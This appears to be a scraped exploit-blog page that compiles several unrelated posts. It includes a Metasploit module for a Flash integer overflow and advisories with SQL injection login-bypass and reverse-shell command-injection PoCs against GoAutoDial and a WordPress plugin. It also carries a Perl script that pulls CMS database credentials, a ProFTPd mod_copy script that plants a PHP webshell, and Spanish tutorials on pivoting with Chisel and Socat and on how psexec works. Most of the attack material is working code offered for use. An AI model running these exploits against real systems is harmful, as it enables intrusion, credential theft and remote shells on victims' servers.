Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863149218

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'                => 'Adobe Flash Player copyPixelsToByteArray Integer Overflow',
      'Description'         => %q{
        This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs
        in the copyPixelsToByteArray method from the BitmapData object. The position field of the
        destination ByteArray can be used to cause an integer overflow and write contents out of
        the ByteArray buffer. This module has been tested successfully on Windows 7 SP1 (32-bit),
        IE 8 to IE 11 and Flash 14.0.0.176, 14.0.0.145 and 14.0.0.125.
      },
      'License'             => MSF_LICENSE,
      'Author'              =>
        [
          'Chris Evans', # Vulnerability discovery and 64 bit analysis / exploit
          'Nicolas Joly', # Trigger for 32 bit, according to the project zero ticket
          'hdarwin', # @hdarwin89, 32 bit public exploit, this msf module uses it
          'juan vazquez' # msf module
        ],
      'References'          =>
        [
          ['CVE', '2014-0556'],
          ['URL', 'http://googleprojectzero.blogspot.com/2014/09/exploiting-cve-2014-0556-in-flash.html'],
          ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=46'],
          ['URL', 'http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/'],
          ['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0556-adobe-flash-player.html'],
          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-21.html']
        ],
      'Payload'             =>
        {
          'DisableNops' => true
        },
      'Platform'            => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :os_name => OperatingSystems::Match::WINDOWS_7,
          :ua_name => Msf::HttpClients::IE,
          :flash   => lambda { |ver| ver =~ /^14\./ && Gem::Version.new(ver) <=  Gem::Version.new('14.0.0.176') },
          :arch    => ARCH_X86
        },
      'Targets'             =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'          => false,
      'DisclosureDate'      => 'Sep 23 2014',
      'DefaultTarget'       => 0))
  end

  def exploit
    @swf = create_swf
    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status('Sending SWF...')
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
      return
    end

    print_status('Sending HTML...')
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    target_payload = get_payload(cli, target_info)
    psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
    b64_payload = Rex::Text.encode_base64(psh_payload)

    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=b64_payload%>" />
    <param name="Play" value="true" />
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0556', 'msf.swf')
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end

end
            
Affected software: GoAutoDial
Affected version: 3.3-1406088000 (GoAdmin) and previous releases of GoAutodial 3.3
Associated CVEs: CVE-2015-2842, CVE-2015-2843, CVE-2015-2844, CVE-2015-2845
Vendor advisory: http://goautodial.org/news/21

Abstract:
Multiple vulnerabilties exist in the GoAutodial 3.3 open source call centre software that will lead to a complete compromise of the underlying database and infrastructure.

Given that multiple product updates were released during testing that do not include any code changes related to the described vulnerabilities, any version between 3.3-1406088000 and 3.3-1421902800 might also be vulnerable.
Refer to the product changelog.txt: https://github.com/goautodial/ce-www/blob/master/changelog.txt

==================================
1/ CVE-2015-2843 
 -  SQLi authentication bypass due to lack of input sanitisation
Affected file: go_login.php
Issue: Lack of input sanitisation on input parameters user_name and user_pass prior to being handled by the database.

A simple 'OR '1'='1 in the password field with a username of 'admin' will log you in. (assuming the default administrator user has not been removed).
You can also test this by performing the following GET request:

PoC:
https://<ip>/go_login/validate_credentials/admin/' OR '1'='1
 
 -  SQLi within the 'go_get_user_info' function
Affected file: go_site.php
Issue: Lack of input sanitisation on input parameters being handled by the database

This function returns a single entry from the db that contains user information including the username and password. 
Given that the first 'active' user in the db would most likely be the admin user you can search for active=Y. There is a column in the vicidial_users table that identifies whether a user is active (Y) or not active (N).
Given this, you can perform the following to return an admin user's account username and password.

PoC:
https://<ip>/index.php/go_site/go_get_user_info/' or active='Y 

==================================
2/ CVE-2015-2842
 -  Arbitrary file upload within the 'audiostore' upload functionality
Affected file: go_audiostore.php
Issue: Filename extensions are not properly checked to ensure only 'audio' files can be uploaded

A user can upload a file with the filename 'bogus.wav.php'. The filename is checked for the '.wav' extension and the check is passed, however with the trailing '.php' file extension, much fun is obtained.
An uploaded file is moved to a symlinked directory (/var/lib/asterisk/sounds) of which can be viewed directly from the browser. 
Note*: All user uploaded files are given the 'go_' prefix. This example ends up with 'go_bogus.wav.php' as an uploaded file.

https://<ip>/sounds/go_bogus.wav.php
** Pop goes the shell **

==================================
3/ CVE-2015-2844 and CVE-2015-2845
 - Arbitrary command injection via the cpanel function due to lack of input sanitisation
Affected file: go_site.php
Issue: User supplied parameters are passed to the php 'exec' function, of which the intended function can be escaped to do more sinister things.

Two variables are passed to the underlying exec command, $action and $type. Either one can be used.
URI looks like this: https://<ip>/index.php/go_site/cpanel/$type/$action

Affected code: exec("/usr/share/goautodial/goautodialc.pl '/sbin/service $type ".strtolower($action)."'");

Base64 encoding bypasses any web server encoding and a lovely root shell is obtained.
** pop goes a root shell **
reverse bash shell one liner: bash -i >& /dev/tcp/192.168.0.11/4444 0>&1 

PoC:  
https://<ip>/index.php/go_site/cpanel/|| bash -c "eval \`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEvNDQ0NCAwPiYx | base64 --decode\`"  

==================================
Vulnerability Remediation

Upgrade to version 3.3-1421902800 at a minimum.
As per the vendor advisory, follow the instructions provided in the link below.
http://goautodial.org/projects/goautodialce/wiki/GIThub

Metasploit module to be created at some point  though quick and dirty python scripts work just fine too...
            
=======================================================================
              title: SQL Injection
            product: WordPress Community Events Plugin
 vulnerable version: 1.3.5 (and probably below)
      fixed version: 1.4
         CVE number: CVE-2015-3313
             impact: CVSS Base Score 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
           homepage: https://wordpress.org/plugins/community-events/
              found: 2015-01-07
                 by: Hannes Trunde
                     
               mail: hannes.trunde@gmail.com
            twitter: @hannestrunde

=======================================================================


Plugin description:
-------------------
"The purpose of this plugin is to allow users to create a schedule of upcoming 
events and display events for the next 7 days in an AJAX-driven box or 
displaying a full list of upcoming events."

Source: https://wordpress.org/plugins/community-events/


Recommendation:
---------------
The author has provided a fixed plugin version which should be installed 
immediately.


Vulnerability overview/description:
-----------------------------------
Because of insufficient input validation, a blind SQL injection attack can be
performed within the search function to obtain sensitive information from the 
database. To exploit this vulnerability, there has to be at least one planned 
event on the calendar.


Proof of concept:
-----------------
The following HTTP request to the Community Events full schedule returns the 
event(s) planned in the specified year:
===============================================================================
http://www.site.com/?page_id=2&eventyear=2015 AND 1=1 )--&dateset=on&eventday=1
===============================================================================

The following HTTP request returns a blank page, thus confirming the blind SQL
injection vulnerability:
===============================================================================
http://www.site.com/?page_id=2&eventyear=2015 AND 1=0 )--&dateset=on&eventday=1
===============================================================================

Obtaining users and password hashes with sqlmap may look as follows (--string 
parameter has to contain (part of) the name of the event, enabling sqlmap to 
differentiate between true and false statements):
================================================================================
sqlmap -u "http://www.site.com/?page_id=2&eventyear=2015&dateset=on&eventday=1" -p "eventyear" --technique=B --dbms=mysql --suffix=")--" --string="Test" --sql-query="select user_login,user_pass from wp_users"
================================================================================


Contact timeline:
-----------------
2015-04-08: Contacting author via mail.
2015-04-09: Author replies and announces a fix within a week.
2015-04-12: Mail from author, stating that plugin has been updated.
2015-04-14: Posting information to the open source software security mailing 
            list: http://openwall.com/lists/oss-security/2015/04/14/5
2015-04-18: Release of security advisory.


Solution:
---------
Update to the most recent plugin version.


Workaround:
-----------
See solution.
            
                .__        _____        _______                 
                |  |__    /  |  |___  __\   _  \_______   ____  
                |  |  \  /   |  |\  \/  /  /_\  \_  __ \_/ __ \ 
                |      \/    ^   />    <\  \_/   \  | \/\  ___/ 
                |___|  /\____   |/__/\_ \\_____  /__|    \___  >
                     \/      |__|      \/      \/            \/ 
                         _____________________________  
                        /   _____/\_   _____/\_   ___ \ 
                        \_____  \  |    __)_ /    \  \/    http://twitter.com/h4SEC
                        /        \ |        \\     \____   Proof Video: https://www.youtube.com/watch?v=7yxbfD1YK8Y
                       /_______  //_______  / \______  /
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] E-Mail : knockout@e-mail.com.tr
[~] Twitter: http://twitter.com/h4SEC
[~] HomePage : http://h4x0resec.blogspot.com - http://cyber-warrior.org - http://www.fiXen.org
[~] Greetz: ZoRLu, DaiMon, VolqaN, DaiMon, KedAns-Dz , Septemb0x, BARCOD3, b3mb4m, SysToxic, EthicalHacker and all TurkSec Group members.
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : MediaSuite CMS - Artibary File Disclosure Exploit
|~Price : N/A
|~Version : All CMS
|~Software: http://www.mediasuite.ca
|~Vulnerability Style :  File Disclosure
|~Vulnerability Dir : /
|~Google Dork : "MediaSuite.ca - Website Design, Media Marketing Suite - Barrie Ontario"
|[~]Date : "20.04.2015"
|[~]Exploit Tested on :  >>>> www.mediasuite.ca ( Official Web ) <<<<<
----------------------------------------------------------
---------------------Info;--------------------------------
----------------------------------------------------------
can be easily found in any database password for this "site-settings.php" will be sufficient to read
possible to read the file on the local database. 
incorrect coding and unconscious in it causing ""force-download.php"" file.
that's laughter reason codes:)

##################################################################################################
      file in "force-download.php"
..
..
..
$type = $_GET['type'];
$file = $_GET['file'];
	
	if($type == "1"){
		$filename = "../uploads/$file";
	}
..
..
..
}
header("Pragma: public"); // required
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false); // required for certain browsers 
header("Content-Type: $ctype");
// change, added quotes to allow spaces in filenames, by Rajkumar Singh
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));
readfile("$filename");
exit();
..
...
	   
##################################################################################################
##############################Exploit.pl#########################################################
##################################################################################################
	
use LWP::Simple;
use LWP::UserAgent;
system('cls');
system('title MediaSuite CMS - Artibary File Disclosure Exploit');
system('color 2');
if(@ARGV < 2)
{
print "[-]Su Sekilde Kocum. \n\n";
&help; exit();
}
sub help()
{
print "[+] Usaqe : perl $0 Target /path/ \n";
print "[+] Usage  : perl $0 localhost / \n";
}
print "\n************************************************************************\n";
print "\* MediaSuite CMS - Artibary File Disclosure Exploit             *\n";
print "\* Exploit coded by : KnocKout                                                  *\n";
print "\* Contact : twitter.com/h4SEC                                 *\n";
print "\* --                                    *\n";
print "\*********************************************************************\n\n\n";
($TargetIP, $path, $File,) = @ARGV;
$File="includes/force-download.php?type=1&file=../includes/site-settings.php";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Biraz Bekle. \n\n";
my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "site-settings.php");
if ($request->is_success)
{
print "[+] Exploit Basarili, kodlayanin eline saglik \n\n";
print "[+] Exploit Basarili. !\n";
print "[+] Database bilgilerinin yer aldigi (site-settings.php) dosyasi indirildi. \n";
print "[+] h4 SEC \n";
print "[+] Special tnX : ZoRLu, _UnDeRTaKeR, DaiMon, VoLqaN, BARCOD3, Septemb0x, EthicalHacker
 \n";
exit();
}
else
{
print "[!] Exploit $url Basarisiz !\n[!] ".$request->status_line."\n";
exit();
}
            
HireHackking

Pivoting con Chisel

Chisel es una herramienta super útil para usar tanto en máquinas Windows como Linux. Nos permite de forma muy cómoda prácticamente obtener las mismas funciones que SSH (en el aspecto de Port Forwarding).

Índice

  • Introducción
  • Local Port Forwarding
  • Remote Port Forwarding
  • Dynamic Port Forwarding

Introducción

Se puede descargar desde su Repositorio Oficial. Ahí podemos encontrar los diferentes paquetes para los distintos sistemas, tanto Windows como Linux:

image 115

En este caso el «laboratorio» es el siguiente:

  • 3 Equipos
    • Kali –> Mi equipo de atacante
      • IP: 192.168.10.10
    • Windows 7 de 32 Bits
      • IP: 192.168.10.30 y 192.168.20.30 –> 2 Interfaces de Red
    • Debian –> Servidor Web y SSH – Puerto 22 y 80 activados
      • IP: 192.168.20.20 y 192.168.30.10 –> 2 Interfaces de Red (aunque la segunda para este post es irrelevante)
pivoting chisel laboratorio 1

Como Chisel también es una herramienta que sirve en Windows, vamos a mezclar ambos sistemas, ya que es totalmente compatible.

Primero de todo descargamos las versiones correspondientes de chisel tanto para la máquina Kali como para la máquina Windows, ya que Chisel funciona mediante una arquitectura cliente-servidor. Una vez descargado nos aseguramos de que funcione:

image 116
image 117

Una vez tenemos todo listo, vamos a ver las posibilidades que nos ofrece Chisel. Realmente, con esta herramienta podemos simular y hacer todos los forwardings que SSH puede, es decir:

  • Local Port Forwarding
  • Remote Port Forwarding
  • Dynamic Port Forwarding

Y todo sin la necesidad de SSH, lo que nos permite prácticamente poder usar Chisel en casi cualquier situación de forma que no dependamos de este protocolo. Además, de forma conceptual, todos los forwardings funcionan de la misma forma que en SSH.

Local Port Forwarding

Sabiendo que la arquitectura es cliente-servidor, y que estamos ante el Local Port Forwarding, tenemos que establecer el servidor, en este caso, en la máquina Windows. Para ello, la sintaxis es bastante sencilla:

chisel server -p <puerto>

Tenemos que establecer un puerto el cual será donde chisel funcione y el cliente posteriormente se conecte, por lo que conociendo esto, yo voy a establecer el servidor en el puerto 1234:

image 118

Con esto establecido, ahora solo tenemos que ir a nuestro Kali para que se conecte como cliente, la sintaxis en este caso es un poquito mas compleja ya que le tenemos que especificar a que IP y puerto queremos llegar:

chisel client <dirección servidor chisel>:<puerto servidor chisel> <puerto local a abrir>:<dirección a donde apuntar>:<puerto a apuntar de la direccion donde se apunta>

En este caso:

image 119

Como vemos, chisel nos indica que nos hemos conseguido conectar, si no fuese ésto, se comportaría de la siguiente forma:

image 120

Pero en este caso, nos conectamos sin problemas. Con esto, ya solo tenemos que ir al puerto local que hemos abierto, en este caso el 80, el que supuestamente está apuntando al puerto 80 de la 192.168.20.20 (el servidor web vaya):

image 121

Como vemos, llegamos sin problemas.

Chisel también permite tunelizar varios puertos al mismo tiempo, siendo la sintaxis de esta forma:

A = chisel client <dirección servidor chisel>:<puerto servidor chisel>

B = <puerto local a abrir>:<dirección a donde apuntar>:<puerto a apuntar de la direccion donde se apunta>

La sintaxis para tunelizar varios puertos seria entonces la siguiente:

A + B + B + B + B… etc…

Ejemplo:

image 124

Además del puerto 80, estamos tunelizando el puerto 22 (SSH), por lo que:

image 123

Vemos que nos conectamos a la máquina que hemos especificado.

Remote Port Forwarding

Al contrario que en el Local Port Forwarding, en el Remote Port Forwarding, el servidor se coloca en el Kali, mientras que el cliente sería el Windows.

La sintaxis tanto para el cliente como para el servidor tiene algunas variaciones, en este caso, los comandos serían:

  • Servidor –> Kali

chisel server -p <puerto> --reverse

  • Cliente –> Windows

chisel client <dirección servidor chisel>:<puerto servidor chisel> R:<puerto a abrir en el servidor de chisel>:<dirección a donde apuntar>:<puerto a apuntar de la direccion donde se apunta>

Sabiendo esto, establecemos el servidor en nuestro kali:

image 125

Con esto, nos conectamos desde el Windows a nuestra máquina Kali:

image 126

Si miramos ahora nuestro Kali podemos ver como se ha conectado correctamente:

image 127

De esta forma, analizando y trayendo el comando ejecutado en el cliente:

chisel client 192.168.10.10:1234 R:80:192.168.20.20:80

Deberíamos en nuestro kali desde nuestro puerto 80, poder acceder al puerto 80 de la 192.168.20.20 (el Servidor Web):

image 128

Como vemos llegamos sin problemas.

Al igual que en el Local Port Forwarding, podemos tunelizar varios puertos con la misma conexión de Chisel, se haría de la misma forma:

A = chisel client <dirección servidor chisel>:<puerto servidor chisel>

B = R:<puerto a abrir en el servidor de chisel>:<dirección a donde apuntar>:<puerto a apuntar de la direccion donde se apunta>

La sintaxis para tunelizar varios puertos seria entonces la siguiente:

A + B + B + B + B… etc…

Ejemplo:

image 129
image 130

De esta forma, podemos acceder no solo puerto 80 de la máquina, sino también al puerto 22:

image 131

Vemos que funciona perfectamente.

Dynamic Port Forwarding

Con el Dynamic Port Forwarding podemos tunelizar todos los puertos, creando un proxy SOCKS. El funcionamiento y uso es exactamente el mismo que el proxy de SSH.

Chisel nos permite tanto crear un Forward Proxy como un Reverse Proxy. A nivel de uso, se suele usar mas el Reverse Proxy, por la misma razón que las Reverse Shells son mas famosas que las Bind Shells. Hablando de forma genérica, un Reverse Proxy o una Reverse Shell te dará menos problemas en cuanto a firewalls que las otras dos opciones (Forward y Bind). En cualquier caso, sea el que sea el proxy que escojas, ambos harán su cometido.

Para cada uno, la sintaxis es un poco distinta:

  • Forward Proxy
    • Servidor –> Windows
      • chisel server -p <puerto> --socks5
    • Cliente –> Kali
      • chisel client <dirección servidor chisel>:<puerto servidor chisel> <puerto que actuará como proxy>:socks
  • Reverse Proxy
    • Servidor –> Kali
      • chisel server -p <puerto> --reverse
    • Cliente –> Windows
      • chisel client <dirección servidor chisel>:<puerto servidor chisel> R:<puerto que actuará como proxy>:socks
pivoting chisel laboratorio 1

Vamos a ver ambos de forma práctica, pero antes, configuramos el firefox para que tire contra el puerto 1080, que será el puerto donde en cada caso de cada proxy funcionará éste (para que no tengamos que cambiarlo).

image 133

Con esto listo, vamos a empezar.

  • Forward Proxy
image 135
image 134

De esta forma, si intentamos acceder a la IP 192.168.20.20 en Firefox:

image 136

Vemos que accedemos.

  • Reverse Proxy:
image 137
image 138

De esta forma, si intentamos de nuevo acceder al Servidor Web:

image 139

Seguimos llegando sin problemas.

En este caso, solo estamos usando el proxy para firefox, pero se puede usar para otros programas o comandos. Para ello, podemos hacer uso de Proxychains, el cual aprovechará este proxy SOCKS creado para tramitar todo el tráfico. Esto se puede ver con mayor detalle en el post de Pivoting con Proxychains.

# Title: ProFTPd 1.3.5 Remote Command Execution
# Date : 20/04/2015
# Author: R-73eN
# Software: ProFTPd 1.3.5 with mod_copy
# Tested : Kali Linux 1.06
# CVE : 2015-3306
# Greetz to Vadim Melihow for all the hard work .
import socket
import sys
import requests
#Banner
banner = ""
banner += "  ___        __        ____                 _    _  \n"  
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if(len(sys.argv) < 4):
    print '\n Usage : exploit.py server directory cmd'
else:
	server = sys.argv[1] #Vulnerable Server
	directory = sys.argv[2] # Path accessible from web .....
	cmd = sys.argv[3] #PHP payload to be executed
	evil = '<?php system("' + cmd + '") ?>'
	s.connect((server, 21))
	s.recv(1024)
	print '[ + ] Connected to server [ + ] \n'
	s.send('site cpfr /etc/passwd')
	s.recv(1024)
	s.send('site cpto ' + evil)
	s.recv(1024)
	s.send('site cpfr /proc/self/fd/3')
	s.recv(1024)
	s.send('site cpto ' + directory + 'infogen.php')
	s.recv(1024)
	s.close()
	print '[ + ] Payload sended [ + ]\n'
	print '[ + ] Executing Payload [ + ]\n'
	r = requests.get('http://' + server + '/infogen.php') #Executing PHP payload through HTTP
	if (r.status_code == 200):
		print '[ * ] Payload Executed Succesfully [ * ]'
	else:
		print ' [ - ] Error : ' + str(r.status_code) + ' [ - ]'
		
print '\n http://infogen.al/'
            

En muchas ocasiones, ya sea por explotación, persistencia o ambas. Se usan programas como psexec, smbexec, etc, para ejecutar comandos en una máquina donde poseemos credenciales de una cuenta privilegiada.

En todas estas ocasiones dependemos de dos cosas:

  • Como ya se ha comentado, que la cuenta tenga privilegios en la máquina
  • Que esté el puerto 445 abierto, es decir, SMB

Si se cumplen estos dos requisitos, se hace lo de siempre:

image

¡Y estamos dentro!

Pero claro, siendo SMB un protocolo para compartir archivos, impresoras, etc en una red, normalmente, de dispositivos windows, ¿como se consigue ejecutar comandos?

Como tal, para hacernos una idea podemos fijarnos en el output que nos deja psexec:

image 1

Según esto, los pasos son los siguientes:

  1. Solicitamos los recursos compartidos
  2. Encontramos un recurso compartido escribible, ADMIN$ en este caso
  3. Subimos el archivo ‘wJvVBmZT.exe’
  4. Abrimos el SVCManager (Administrador de Control de Servicios de Windows)
  5. Creamos el servicio ‘rarj’
  6. Iniciamos el servicio ‘rarj’

Tomando esto como referencia, vamos a verlo en detalle.

Primeramente, para establecer la conexión SMB se lleva a cabo el siguiente procedimiento:

Diagrama en blanco

Una vez establecida la conexión, se hace la petición para listar los recursos compartidos. Se hace con la intención de encontrar algun recurso que sea escribible (si no hay ninguno con capacidad de escritura no podremos hacer nada).

Cuando ya tenemos la conexión establecida y un recurso donde podamos escribir. La idea es subir el archivo que originalmente se llama PSEXECVC.exe, obviamente si se sube con este nombre es un poco sospechoso, por lo que se le renombra a un nombre totalmente aleatorio, como es en este caso, ‘wJvVBmZT.exe‘.

Este archivo se sube al recurso compartido ADMIN$ (un recurso administrativo en este caso), el cual corresponde con la ruta C:\Windows. Este paso ya requiere de una cuenta privilegiada, por lo que ya podemos ir entendiendo el porqué se requiere de una cuenta de este tipo para ejecutar comandos (no es la única acción que requiere de estos privilegios)

Una vez subido, hay que editar los registros en el servidor remoto, para que el servicio sea instalado. Para poder hacer esto y los siguientes pasos, hay que dejar claro un par de conceptos, MSRPC y Named Pipes (puede que éste último te suene de su uso en la explotación del Eternal Blue).

MSRPC (Microsoft Remote Procedure Call – Versión modificada de su antecesor, DCE/RPC) es un protocolo usado para crear un modelo cliente/servidor, se implantó en Windows NT (una de las primeras versiones de Windows), con el tiempo, se extendió llegando a que dominios enteros de Windows Server se basasen en este protocolo.

MSRPC es un marco de comunicación entre procesos, y permite provocar que se ejecute un procedimiento/subrutina en otro equipo de una red. Desde el punto de vista del equipo de la red, se ejecuta como si se ejecutara en local.

Para cualquier solicitud de MSRPC se establece una comunicación previa por SMB:

Diagrama en blanco 1

Por lo que a MSRPC se le añade la capa de seguridad propia de SMB.

Dejando claro esto, tenemos que quedarnos con que MSRPC es un protocolo que sirve para ejecutar procedimientos/subrutinas en otros equipos. Se ejecuta de forma distinta dependiendo de la situación:

assets%2F L 2uGJGU7AVNRcqRvEi%2F LsHCYv gRrz1EAGcBrr%2F LsHCZdlqoOoZTMjaZwe%2Fimage

Como vemos, por SMB, para que MSRPC pueda llevar a cabo sus acciones, hace uso de los Named Pipes, y es aquí donde lo vamos a introducir ya que es el segundo concepto que nos interesa.

Los named pipes (tuberias con nombre) son una conexión lógica, similar a una conexión TCP, entre un cliente y un servidor que participan ya sea en una conexión CIFS (Common Internet File System) o SMB (version 1, 2 o 3).

El nombre del pipe sirve como punto final al igual que lo sirve un puerto en una conexión TCP, por ello, se le puede denominar named pipe end point.

Muchos protocolos se basan en los named pipes, ya sea directa o indirectamente a través de MSRPCE (MSRPC Extensions). La ventaja de usarlos, es que aislan totalmente el protocolo usado en la capa superior, del transporte elegido (imagen superior), conllevando también el uso de los protocolos de autenticación (añadiendo la capa de seguridad de estos).

Los clientes SMB acceden a los Named Pipe End Point utilizando el recurso compartido «IPC$». Este recurso solo permite operaciones de named pipes y peticiones del servicio de archivos distribuido (Distributed File System – DFS) de Microsoft.

Con todo esto, volviendo al tema, se crea las entradas de registros correspondientes en el servidor para la creación e instalación del servicio que ejecute el archivo exe subido. Si nos fijamos en la imagen de psexec:

image 2

Podemos ver como a la hora de crear el servicio, también se crea con un nombre aleatorio, al igual que el archivo exe. Esto de cara a no llamar tanto la atención si el usuario listase los servicios de la máquina.

Posteriormente, se inicia el servicio. El servicio iniciado puede usar cualquier protocolo de red para recibir y ejecutar comandos.

Cuando finaliza, el servicio puede ser desinstalado (removiendo las entradas de registros y eliminando el archivo exe)

Todas estas acciones de crear servicio, iniciarlo, eliminarlo, se consiguen gracias al uso de MSRPC, el cual hace también uso de los Named Pipes. Además, estas acciones requieren de acceso privilegiado, por ello el famoso Pwn3d! de CrackMapExec cuando se hace uso de una cuenta privilegiada, lo que hace CME es confirmar que todo este proceso se puede llevar a cabo gracias a los privilegios de la cuenta.

Entonces, en resumen:

  1. Se copia el archivo exe malicioso al servidor SMB
  2. Se crean los registros correspondientes para la creación e instalación del servicio que ejecute el archivo exe
  3. Se inicia el servicio, ejecutando así, el exe
  4. Cuando acabamos, el servicio es desinstalado, removiendo sus respectivas entradas y el propio archivo exe

MSRPC y Named Pipes se ven implicados en los puntos 2, 3 y 4.

Y es a través de todo este procedimiento que a partir de lo que a primera vista SMB parece, un protocolo de compartir archivos, dispositivos etc. Podemos ejecutar comandos de sistema.

HireHackking

Pivoting con Socat

Socat es una herramienta que nos permite crear comunicaciones bidireccionales. Se le conoce como el netcat con esteroides, ya que es una herramienta tan completa que es casi imposible verla entera, por lo que vamos a centrarnos en los puntos más útiles para pivoting.

Índice:

  • Introducción
  • Redirecciones

Introducción

Socat es una herramienta para sistemas Linux, aunque también tiene ciertos binarios para Windows, pero no son muy comunes, de todas formas para descargar ambos binarios los links son los siguientes:

  • Linux (32 y 64 Bits)
  • Windows (64 Bits)

La estructura de socat es muy sencilla, sin embargo la sintaxis puede parecer compleja al principio:

socat [opciones] <dirección origen> <dirección destino>

La sintaxis para las direcciones es:

<protocolo>:<ip>:<puerto>

El «laboratorio» en el que vamos a ver su funcionamiento es el siguiente:

  • 4 Equipos
    • Kali –> Mi equipo de atacante
      • IP: 192.168.10.10
    • Windows 7 de 64 Bits
      • IP: 192.168.10.40 y 192.168.20.40 –> 2 Interfaces de Red
    • Debian 1
      • IP: 192.168.20.20 y 192.168.30.10 –> 2 Interfaces de Red
    • Debian 2
      • IP: 192.168.30.20
pivoting con socat laboratorio

Redirecciones

Para practicar y ver como hacer redirecciones vamos a intentar enviarnos una Reverse Shell desde el Debian 2 (192.168.30.20) y Kali (192.168.10.10):

Primero nos ponemos en escucha desde nuestro kali, para tenerlo desde un principio listo:

image 140

Siguiendo el diagrama, la máquina con la que Kali tiene comunicación es el Windows 7, por lo que preparamos socat en esta máquina:

image 141

socat tcp-l:443,fork,reuseaddr tcp:192.168.10.10.443

Vamos a explicar el comando:

  • tcp-l:443 –> TCP-L es la abreviatura de TCP-LISTEN, escribiendo TCP-L:<puerto> nos ponemos en escucha desde ese puerto.
  • fork –> Indicamos que socat pueda aceptar más de una conexión.
  • reuseaddr –> permite reutilizar el puerto después de la finalización del programa

fork y reuseaddr se suelen usar siempre que nos pongamos en escucha con socat.

  • tcp:192.168.10.10:443 –> recordando que socat maneja una estructura de <origen> <destino>, en este caso estamos indicando que el destino es el puerto 443 de la dirección 192.168.10.10.

Conociendo los argumentos del comando usado a nivel conceptual básicamente estamos diciendo que todo lo que reciba el equipo Windows por el puerto 443 lo envíe al puerto 443 del Kali, que es donde estamos en escucha.

Con esto listo, vamos a la máquina con la que Windows tiene comunicación (además del Kali), allí, también vamos a ejecutar socat usando el mismo concepto:

image 142

El comando al fin y al cabo es el mismo, todo lo que reciba el Debian por el puerto 443, lo mandaré al puerto 443 del equipo Windows. Donde el equipo Windows todo lo que reciba lo mandará al puerto 443 del Kali. De esta forma, y con todo esta estructura ya montada, si desde el Debian 2 nos enviamos una Shell al puerto 443 del Debian 1, obtendremos la Reverse Shell en el kali:

image 143
image 144

Si nos damos cuenta, obtenemos la conexión desde la IP del Windows, todo gracias a las redirecciones. Además, la Shell es totalmente funcional:

image 145

Esto es un ejemplo de redirecciones para que nos llegue una Reverse Shell, sin embargo, también podemos usar socat para por ejemplo, redirecciones internas. Es decir, imaginémonos la situación donde yo tengo un servidor web corriendo en mi kali, pero solo accesible de forma interna, podría tunelizarlo a otro puerto usando socat:

Desde el Windows el Servidor Web de mi Kali no es accesible:

image 146

Pero dentro de nuestro kali podemos hacer una redirección:

image 147

De esta forma, estamos abriendo el puerto 8080 poniéndonos en escucha, y todo lo que recibamos desde este puerto, lo redirigimos a nuestro puerto 80 local.

Con esto, si intentamos desde el Windows acceder al 8080:

image 148

Vemos que podemos acceder al servidor 80, el cual a pesar de solo estar abierto de forma interna, podemos acceder a él.

Hasta ahora la dirección IP no ha cambiado, siempre ha sido 127.0.0.1 cuando hemos apuntado a algún sitio, sin embargo, socat nos permite colocar cualquier IP.

Ejemplo:

image 149

De esta forma le estamos diciendo que además de ponernos en escucha en el puerto 777, todo lo que se reciba a este puerto, se mande al puerto 80 del Kali (ahora está accesible), donde está el servidor web:

image 150

Y vemos que accedemos sin problemas desde el puerto 777 local.

